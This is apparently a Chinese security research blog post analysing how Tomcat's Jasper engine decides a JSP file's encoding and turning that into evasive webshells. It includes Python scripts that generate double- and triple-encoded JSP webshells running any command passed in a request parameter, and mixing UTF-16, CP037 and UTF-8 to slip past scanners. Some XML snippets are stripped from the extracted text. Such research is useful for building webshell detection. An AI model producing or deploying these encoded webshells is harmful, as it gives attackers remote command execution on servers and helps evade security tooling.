环境相关及其他说明本篇以tomcat8.0.50为例进⾏分析,后⽂简称为tomcat,同时讨论的是第⼀次访问并编译jsp的过程(有⼩区别不重要)并且不涉及到其他⼩版本差异。
正⽂这⾥没有那么多废话,我们知道其实jsp是Servlet技术的扩展,它本⾝也是⼀种模板,通过对这个模板内容的解析,根据⼀定规则拼接到⼀个java⽂件后最终会编译为⼀个class⽂件并加载,在这个过程当中就涉及的很多解析的过程,这⾥由于主题限制,我们不必太过关⼼,我们重点偏向于去了解它的编码是如何被识别的即可。
对于这部分处理逻辑其实是org.apache.jasper.compiler.ParserController#determineSyntaxAndEncoding做处理,在这个类⽅法当中有两个⽐较重要的属性 isXml与 sourceEnc,字⾯理解就能得出⼀个判定是否jsp格式是通过xml格式编写,另⼀个 sourceEnc也就决定着jsp⽂件的编码相关。
关于xml格式的⼀些简单说明这⾥我们我们只需要知道encoding属性可以决定内容编码即可。
tomcat对于xml格式还算⽐较严格,其中如果需要⽤到xml声明
如果个⼈⽐较好奇这部分代码逻辑可以⾃⾏看看 org.apache.jasper.xmlparser.XMLEncodingDetector#getEncoding(java.io.InputStream, org.apache.jasper.compiler.ErrorDispatcher)
如何识别我们的⽂件内容是xml格式接下来再来简单说说是如何识别我们的⽂件是xml格式的呢?
⾸先是根据后缀名 .jspx或 .tagx,当然这俩不在我们今天讨论的范围内如果后缀名不符合则根据⽂本内容是否包含有形如 如何决定⼀个⽂件的编码 如何从字节顺序标记(BOM)判断⽂本内容编码 简单来说这部分逻辑其实和W3C所定义的⼀致 W3C定义了三条XML解析器如何正确读取XML⽂件的编码的规则: 如果⽂挡有BOM(字节顺序标记),就定义了⽂件编码如果没有BOM,就查看XML encoding声明的编码属性如果上述两个都没有,就假定XML⽂挡采⽤UTF-8编码我们的tomcat对这部分实现也是⼿写根据⽂件前4个字节(BOM)来决定⽂件的编码 ( org.apache.jasper.compiler.ParserController#determineSyntaxAndEncoding) 具体是通过函数 XMLEncodingDetector#getEncoding来动态决定编码 private Object[] getEncoding(InputStream in, ErrorDispatcher err) throws IOException, JasperException { this.stream = in; this.err=err; createInitialReader(); scanXMLDecl(); return new Object[] { this.encoding, Boolean.valueOf(this.isEncodingSetInProlog), Boolean.valueOf(this.isBomPresent), Integer.valueOf(this.skip) }; }在这⾥有两个关键函数,它们都能决定整个⽂件内容的编码 createInitialReader(); scanXMLDecl();其中 createInitialReader作⽤有两个⼀个是根据前四个字节(bom)决定encoding也就是编码,接着往⾥看在 org.apache.jasper.xmlparser.XMLEncodingDetector#getEncodingName中 逻辑很简单,就是根据前4个字节顺序标记判定⽂件编码 private Object[] getEncodingName(byte[] b4, int count) { if (count < 2) { return new Object[]{"UTF-8", null, Boolean.FALSE, Integer.valueOf(0)}; } int b0 = b4[0] & 0xFF; int b1 = b4[1] & 0xFF; if (b0 == 0xFE && b1 == 0xFF) { return new Object [] {"UTF-16BE", Boolean.TRUE, Integer.valueOf(2)}; } if (b0 == 0xFF && b1 == 0xFE) { return new Object [] {"UTF-16LE", Boolean.FALSE, Integer.valueOf(2)}; } if (count < 3) { return new Object [] {"UTF-8", null, Boolean.FALSE, Integer.valueOf(0)}; } int b2 = b4[2] & 0xFF; if (b0 == 0xEF && b1 == 0xBB && b2 == 0xBF) { return new Object [] {"UTF-8", null, Integer.valueOf(3)}; } if (count < 4) { return new Object [] {"UTF-8", null, Integer.valueOf(0)}; } int b3 = b4[3] & 0xFF; if (b0 == 0x00 && b1 == 0x00 && b2 == 0x00 && b3 == 0x3C) { return new Object [] {"ISO-10646-UCS-4", Boolean.TRUE, Integer.valueOf(4)}; } if (b0 == 0x3C && b1 == 0x00 && b2 == 0x00 && b3 == 0x00) { return new Object [] {"ISO-10646-UCS-4", Boolean.FALSE, Integer.valueOf(4)}; } if (b0 == 0x00 && b1 == 0x00 && b2 == 0x3C && b3 == 0x00) { return new Object [] {"ISO-10646-UCS-4", null, Integer.valueOf(4)}; } if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x00) { return new Object [] {"ISO-10646-UCS-4", null, Integer.valueOf(4)}; } if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x3F) { return new Object [] {"UTF-16BE", Boolean.TRUE, Integer.valueOf(4)}; } if (b0 == 0x3C && b1 == 0x00 && b2 == 0x3F && b3 == 0x00) { return new Object [] {"UTF-16LE", Boolean.FALSE, Integer.valueOf(4)}; } if (b0 == 0x4C && b1 == 0x6F && b2 == 0xA7 && b3 == 0x94) { return new Object [] {"CP037", null, Integer.valueOf(4)}; } return new Object [] {"UTF-8", null, Boolean.FALSE, Integer.valueOf(0)}; }createInitialReader另⼀个作⽤就是初始化Reader对象( reader =createReader(stream, encoding, isBigEndian)),在Reader⾥⾯带有我们对⽂件编码以及字节序列⼤⼩端的关键信息,为下⼀步调⽤ scanXMLDecl 扫描解析xml的申明内容做了⼀个前置准备,在 scanXMLDecl当中我们其实只需要关注和编码相关的属性(Ps:具体逻辑可以⾃⼰看看代码也⽐较简单,这⾥相关度不⾼不多提),也就是上⾯xml⼩节⾥⾯提到的。 这⾥⾯xml属性的encoding也可以决定整个⽂件的编码内容,同时我们可以发现这个encoding可以覆盖掉上⼀步的函数 createInitialReader();(通过前四字节识别出的编码识别的encoding),因此配合这个我们也可以构造出⼀种新的双编码jspwebshell,最后会提到。 ⽆法根据前四个字节判断⽂本编码怎么办当⽆法根据前四个字节判断⽂本编码时,jsp还提供了另⼀种⽅式帮助识别编码,对应下图中的 getPageEncodingForJspSyntax 有兴趣看看这个函数的实现 private String getPageEncodingForJspSyntax(JspReader jspReader, Mark startMark) throws JasperException { String encoding = null; String saveEncoding = null; jspReader.reset(startMark); while (true) { if (jspReader.skipUntil("<") == null) { break; } if (jspReader.matches("%--")) { if (jspReader.skipUntil("--%>") == null) { break; } continue; } boolean isDirective = jspReader.matches("%@"); if (isDirective) { jspReader.skipSpaces(); } else { isDirective = jspReader.matches("jsp:directive."); } if (!isDirective) { continue; } if (jspReader.matches("tag ") || jspReader.matches("page")) { jspReader.skipSpaces(); Attributes attrs = Parser.parseAttributes(this, jspReader); encoding = getPageEncodingFromDirective(attrs, "pageEncoding"); if (encoding != null) { break; } encoding = getPageEncodingFromDirective(attrs, "contentType"); if (encoding != null) { saveEncoding = encoding; } } } if (encoding == null) { encoding = saveEncoding; } return encoding; }课代表直接总结了,简单来说最终其实就是根据⽂本内容中的pageEncoding的值来决定最终编码,这⾥有两种写法。第⼀种 <%@ page language="java" pageEncoding="utf-16be"%> 或 <%@ page contentType="charset=utf-16be" %> 或 <%@ tag language="java" pageEncoding="utf-16be"%> 或 <%@ tag contentType="charset=utf-16be" %>第二种 或 或 或 因此看到这⾥你就知道为什么开头提到的phithon提供的demo能够成功解析的原因了。 第⼆种 第三种 为什么上⾯这个有⼀定局限性实际上如果你认真看了上⾯的代码你会发现决定具体代码逻辑是否能⾛到这⼀步和isBomPresent的值密不可分,我们也说到了只有⽂件前四个字节⽆法与org.apache.jasper.xmlparser.XMLEncodingDetector#getEncodingName这个⽅法中某个编码匹配,之后假定XML⽂挡采⽤UTF-8编码,最终才能保证 isBomPresent为false,因此这种利⽤的局限性在于⽂件头只能是utf8格式才能保证代码逻辑的正确执⾏。 更灵活的双编码jspwebshell根据我们前⾯的分析,下⾯这种⽅式实现双编码会更灵活,可以更多样地选择双编码间的组合。这⾥简单写个python⽣成⼀个即可作为演⽰ a0 = '''''' a1 = ''' version="1.2"> Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); java.io.BufferedReader input = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); String line = ""; while ((line = input.readLine()) != null) { out.write(line+"\\n"); } with open("test.jsp","wb") as f: f.write(a0.encode("utf-16")) f.write(a1.encode("cp037"))简单测试没⽑病 访问测试 多说⼀下这⾥也只是相对灵活,从执⾏逻辑来看必须要是 XMLEncodingDetector#getEncodingName能够识别的范围才⾏,因此在我这个版本中其实对应着 UTF-8\UTF-16BE\UTF-16LE\ISO-10646-UCS-4\CP037作为前置编码,当然后置就⽆所谓啦基本上java中的都⾏。 避免双编码踩坑这⾥⾯有⼀个很⼤的坑!什么坑呢? 这⾥我们以前置cp037+后置utf-16为例进⾏说明 我们看看前置部分,通常我们在写前置部分的时候不会在意其长度,⽐如下⾯的代码输出长度为41,这就是⼀个巨⼤的坑点! a0 = '''''' print(len(a0.encode("cp037")))为什么?我们前⾯说过在后⾯通过⽂件内容判断是否为xml格式时,是通过检查⾥⾯是否含有 这意味着什么,我们刚刚说了前⾯部分长度是单数,⽽对于我们的utf-16是两个字节去解码,这就导致本来这⾥应该是 003c作为⼀个整体,由于前⾯ c3p0编码后长度为单数,导致最终为 3c00去做了解码,因此最终导致识别不到 最终在 org.apache.jasper.compiler.ParserController#doParse做解析并拼接jsp模板的时候⽆法成为正确的代码,⽽识别不到正确的格式就导致执⾏下⾯分⽀出错,原本该是执⾏的代码变成了⼀堆乱码显⽰到页⾯中(有兴趣可以看看下⾯)这个分⽀中具体的解析流程也蛮有意思)。 任意放置的jspReader.matches与%@刚刚我们只提到了这两个标签的利⽤具有编码的局限性,然⽽如果你再仔细看我们后⾯提出的两种新的编码利⽤会发现在函数 getPageEncodingForJspSyntax中,它通过while循环不断往后查找符号 <,之后在调⽤ jspReader.matches 寻找 %@或jsp:directive. private String getPageEncodingForJspSyntax(JspReader jspReader, Mark startMark) throws JasperException { xxxx while (true) { if (jspReader.skipUntil("<") == null) { break; } xxxx boolean isDirective = jspReader.matches("%@"); if (isDirective) { jspReader.skipSpaces(); } else { isDirective = jspReader.matches("jsp:directive."); } if (!isDirective) { continue; } xxxx }因此从这⾥我们可以看出 测试demo a0 = '''<% Process p = Runtime.getRuntime().exec(request.getParameter("y4tacker")); java.io.BufferedReader input = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); String line = "''' a1 = '''<%@ page pageEncoding="UTF-16BE"%>''' a2 = '''"; while ((line = input.readLine()) != null) { out.write(line+"\\n"); } %>''' with open("test2.jsp","wb") as f: f.write(a0.encode("utf-16be")) f.write(a1.encode("utf-8")) f.write(a2.encode("utf-16be"))成功利⽤ 三重编码在上⾯的基础上我们还可以进⼀步利⽤,为什么呢?我们知道它在识别标签 JspReader jspReader = null; try { jspReader = new JspReader(ctxt, absFileName, sourceEnc, jar, err); } catch (FileNotFoundException ex) { throw new JasperException(ex); }聪明的你⼀定能看出这⾥的 sourceEnc是我们可以控制的(前⾯讲过了忘了往上翻复习下。 因此我们对整个利⽤梳理⼀下 保证⽆法通过BOM识别出⽂本内容编码(保证isBomPresent为false)通过
a0 = '''''' a1 = '''<% Process p = Runtime.getRuntime().exec(request.getParameter("y4tacker")); java.io.BufferedReader input = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); String line = "''' a2 = '''<%@ page pageEncoding="UTF-16BE"%>''' a3 = '''"; while ((line = input.readLine()) != null) { out.write(line+"\\n"); } %>''' with open("test3.jsp","wb") as f: f.write(a0.encode("utf-8")) f.write(a1.encode("utf-16be")) f.write(a2.encode("cp037")) f.write(a3.encode("utf-16be"))⽣成三重编码⽂件 测试利⽤ 其他其实在这个过程当中还顺便发现了⼀个有趣的东西,虽然和讲编码的主题⽆关,但个⼈觉得⽐较有意思就顺便放在最后了,对于jsp不同的部分对应的空格判定是不同的⽐如在对xml⽂件头做解析的时候( )这⾥调⽤的是 org.apache.jasper.xmlparser.XMLChar#isSpace public static boolean isSpace(int c) { return c <= 0x20 && (CHARS[c] & MASK_SPACE) != 0; }省去给⼤家看常量浪费时间,这⾥当课代表总结⼀下就是四个字符 \x0d、 \x0a9、 \x0a、 \x0d⽽在识别 <%@ page language="java" pageEncoding="utf-16be"%>这部分中对空格的判定调⽤的是 org.apache.jasper.compiler.JspReader#isSpace,这⾥判断的空格只要保证在 \x20之前即可 final boolean isSpace() { return peekChar() <= ' '; }当然更多的部分就不多说啦,毕竟已经和本⽂由点偏离啦。